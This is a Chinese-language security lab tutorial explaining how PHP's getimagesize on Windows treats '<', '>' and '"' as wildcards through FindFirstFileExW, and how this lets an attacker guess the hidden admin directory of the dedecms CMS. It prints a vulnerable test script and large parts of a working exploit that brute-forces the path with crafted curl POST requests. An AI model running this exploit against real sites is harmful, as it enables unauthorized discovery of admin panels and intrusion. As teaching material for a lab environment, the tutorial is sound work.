PHP是以C語言爲底層語言的通用開源腳本語言,支持幾乎全部流行的數據庫以及操做系統,執行效率比徹底生成HTML標記的CGI要高許多,主要適用於Web開發領域。最重要的是PHP能夠用C、C++進行程序的擴展!php
全部文件操做函數都屬於敏感函數,當此類函數使用不當或者不安全引用,就會致使業務邏輯上出現問題,會致使諸多安全隱患的發生,例如:任意文件下載、任意文件寫入、任意文件刪除等漏洞。html
如下給你們生動地講解了文件判斷函數getimagesiz可能形成的問題,並引用dedecms目錄猜解實例,講述PHP在不安全的狀況下引用此類函數時形成的危害。sql
但願老鐵們經過這一波操做,瞭解漏洞造成原理和相似文件判斷函數帶來的風險,在實驗環境裏親自體驗一把更帶感哦,跟我來開啓吧!>>>>>文件函數實驗傳送門數據庫
Hackbar
: Hackbar是Firefox火狐瀏覽器中的插件,該工具欄將幫助您測試sql注入,XSS漏洞和網站安全性。其主是幫助開發人員對他的代碼進行安全審計。可以快速對字符串進行各類編碼。本內容主要介紹PHP
部分函數,當在Windows上使用PHP時會調用一個FindFirstFileExW()
的底層Windows API
函數時會存在一些特性api
講解其中一部分函數不安全使用時帶來的漏洞,還將結合使用一個dedecms
實例,利用PHP
在Windows
上的特性找到其後臺,以方便咱們深刻理解這些函數可能會帶來的危害。瀏覽器
PHP語言某些函數就在Windows系統上擁有了以下奇妙的特性:安全
大於號(>)相等於通配符問號(?) 小於號(<)至關於通配符星號(*) 雙引號(")至關於點字符(.)
這個特性很早以前就已經被國外的安全研人員發現curl
在PHP的getimagesize
方法中就存在這個特性。ide
在PHP源碼php-src\ext\standard\image.c
中有該方法的具體定義:函數
...
/* {{{ proto array getimagesize(string imagefile [, array info])
Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
...
在getimagesize
方法中調用了php_getimagesize_from_any
方法,若使用動態調試來簡化整個分析過程,逐層追蹤後可發現
getimagesize
調用順序以下:
PHP_FUNCTION(getimagesize) php_getimagesize_from_any ... tsrm_realpath_r FindFirstFileExW
本實驗動態調試不作重點說明,詳細過程請參考如下連接: https://xianzhi.aliyun.com/forum/topic/2004
最終能夠看見PHP的getimagesize
方法最終調用了Windows API裏的FindFirstFileExW()
事實上,因爲PHP在語言層面並無過濾、禁止對<
、>
這些特殊字符的使用,除getimagesize
函數外,任何調用該Windows API方法的文件判斷函數均可能存在以上問題
本實驗咱們將用一個調用了這個winapi
的具體實例getimagesize
函數講解,PHP的函數在調用了這個底層winapi
的方法時會存在的問題。
還將引用dedecms
做爲一個高級實例,當不安全引用一樣使用該底層winapi
的方法的getimagesize
這個函數會存在的安全風險。
使用咱們實驗中搜索工具Everything
,找到咱們的phpstudy
安裝環境。安裝PHP環境
安裝完成以後咱們在C:\phpStudy\www
目錄下新建一個test.php
文件驗證getimagesize
函數的特性,這個路徑根據phpStudy
安裝路徑有關,請根據實際狀況而定。
接下來咱們在C:\phpStudy\www
新建一個目錄asdasdasd
目錄下
test.php
代碼以下:
<?php
$a = $_GET['img']; exec('pause'); if(@getimagesize($a)){ echo "ok"; }else{ echo "no"; } ?>
準備完成以後,接下來咱們訪問一下test.php
訪問地址http://127.0.0.1/test.php?img=C:\phpStudy\www\a<\1.png
頁面返回ok
,可見正常路徑中本來應該是asdasdasd
的目錄名,被咱們使用a<
代替,getimagesize
利用該特性成功加載圖片文件。
下面這個例子咱們可使用本節實驗中提供的腳本獲取到dedecms
的後臺地址
這個漏洞發生在getimagesize
函數中,而PHP的getimagesize
方法最終也是調用了前文中講到的Windows API
裏的FindFirstFileExW()
,上文中也說明了這裏Windows上又對<
、>
、"
三個字被賦予了不一樣的含義。
正是這個緣由致使了dedecms
的後臺可被爆破
到這裏咱們仍是先看看漏洞的觸發條件
在dedecms
中的uploadsafe.inc.php
中的核心代碼以下
...
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } } ...
此處uploadsafe.inc.php
中直接調用了getimagesize
方法獲取文件的size,獲取不到說明不是圖片或者圖片不存在,不存就exit upload…. ,利用這個邏輯猜目錄的前提是目錄內有圖片格式的文件。
此時在dedecms
的tags.php
中加載了common.inc.php
文件
在common.inc.php
大概148行左右加載了uploadsafe.inc.php
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php'); }
到此咱們能夠獲得文件引用關係爲:tags.php
-> common.inc.php
-> uploadsafe.inc.php
-> getimagesize()
EXP分析與利用
在實驗環境中會提供咱們在互聯網上收集的exp
訪問咱們的工具庫http://tools.ichunqiu.com/y688t6z4
下載
咱們如今把exp中的主要代碼分段講解一下:
...
if($path) {
while(($path = my_func($url, $path))) { echo strtolower($path) . "\r\n"; } } else { for($i = 48; $i <= 90; $i++) { if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) { $path = my_func($url, chr($i)); while($path) { echo strtolower($path) . "\r\n"; $path = my_func($url, $path); } } } } ...
這裏的if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90))
這段代碼能夠參考ascii碼錶就能夠理解數字具體含義
就是把全部的目錄可能會出現的狀況0-9
、 a-z
,按位帶入程序中去窮舉匹配
下面的代碼是整個exp的核心部分
...
function my_func($url, $path = '') { $ch = curl_init($url); $i = 48; global $version; while($i <= 90) { if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) { if($version != '5.7') { /* v5.6版本及其如下 */ $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif'; } else { /* v5.7版本 */ $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif'; } $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif'; $options = array( CURLOPT_USERAGENT => 'Firefox/58.0', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, ); curl_setopt_array($ch, $options); $response = curl_exec($ch); if(!preg_match('/(Upload filetype not allow !)/i', $response)) { $path = $path . chr($i); return $path; } } $i++; } ...
這個exp
就是利用了dedecms
在設計時的一個小缺陷,當某個目錄中存在一個圖片文件時,程序會返回正確,當不存在時程序會拋出異常,提示Upload filetype not allow !
。
此時在dedecms
的前臺中能夠直接調用getimagesize()
方法,這時候咱們選取了dedecms
的後臺目錄中的一個已知圖片admin_top_logo.gif
配合咱們進行猜解。具體參見下列代碼:
$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
這樣就能夠咱們前面講到的通配符<
,來進行匹配後臺地址,對後臺地址逐位窮舉,這就是咱們這個exp
的中心思想。
具體操做以下:
將咱們下載的exp.php
,放入PHP安裝目錄中,這裏咱們放入c:\phpStudy\php53
下,這個路徑根據phpStudy
安裝路徑和選擇的PHP版本有關,請根據實際狀況而定。
成功猜解出後臺地址。
Windows API
裏的FindFirstFileExW()
/FindFirstFile()
方法Windows API
方法對於這個三個字符作了特殊的處理Windows API
時會存在新的特性嗎?Windows API
的語言會出現這個特性嗎?